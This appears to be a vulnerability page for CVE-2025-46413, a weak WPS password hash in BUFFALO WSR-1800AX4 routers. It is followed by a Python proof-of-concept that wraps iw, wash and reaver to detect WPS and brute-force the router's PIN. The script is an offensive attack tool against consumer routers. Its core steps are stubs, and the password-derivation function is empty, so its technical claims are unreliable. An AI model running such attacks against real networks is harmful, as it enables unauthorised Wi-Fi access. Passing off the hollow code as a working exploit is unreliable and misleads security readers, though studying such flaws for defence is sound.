CVE-2025-46413 BUFFALO WSR-1800AX4系列路由器WPS密码哈希强度不足漏洞

# CVE-2025-46413 PoC - BUFFALO WSR-1800AX4 WPS PIN Brute Force # This PoC demonstrates the WPS PIN vulnerability in affected BUFFALO routers # Note: This is for educational and authorized testing purposes only import subprocess import time import re def send_wps_probe(interface, bssid): """ Send WPS probe request to target router """ cmd = f"sudo iw dev {interface} scan | grep -A5 {bssid}" result = subprocess.run(cmd, shell=True, capture_output=True, text=True) return result.stdout def brute_force_wps_pin(target_mac, interface="wlan0"): """ Perform WPS PIN brute force attack on vulnerable BUFFALO router The vulnerability allows rapid enumeration of WPS PIN due to weak hash """ print(f"[*] Starting WPS PIN brute force on target: {target_mac}") print(f"[*] Target: BUFFALO WSR-1800AX4 series") print(f"[*] Vulnerability: CVE-2025-46413 - Insufficient computational effort in password hash") # WPS uses 8-digit PIN, last digit is checksum # Valid PINs range from 00000000 to 99999999 (reduced search space) # Using reaver or bully for WPS attack # The weak hash implementation allows faster PIN enumeration cmd = f"sudo reaver -i {interface} -b {target_mac} -vv -c 1" print(f"[*] Executing: {cmd}") print("[*] Note: Weak hash implementation allows rapid PIN validation") # In real attack scenario, this would execute reaver/bully # subprocess.run(cmd, shell=True) return None def extract_wifi_password(pin): """ Once valid PIN is obtained, derive Wi-Fi password """ print(f"[+] Valid WPS PIN found: {pin}") print("[+] Deriving Wi-Fi password from PIN...") # The weak hash allows quick derivation of PSK from PIN return None def check_wps_status(target_mac, interface="wlan0"): """ Check if WPS is enabled on target router """ cmd = f"sudo wash -i {interface} | grep {target_mac}" result = subprocess.run(cmd, shell=True, capture_output=True, text=True) if "WPS Locked" not in result.stdout: print(f"[!] WPS appears to be enabled on {target_mac}") return True return False if __name__ == "__main__": # Target BUFFALO router MAC address (example) target_bssid = "XX:XX:XX:XX:XX:XX" print("="*60) print("CVE-2025-46413 PoC - BUFFALO WSR-1800AX4 WPS Weak Hash") print("="*60) print("[*] This vulnerability allows attackers to obtain Wi-Fi PIN") print("[*] and password due to insufficient computational effort") print("[*] in password hash processing.") print() # Check WPS status if check_wps_status(target_bssid): print("[+] WPS is enabled - router may be vulnerable") # Execute brute force attack # brute_force_wps_pin(target_bssid) else: print("[-] WPS status could not be determined")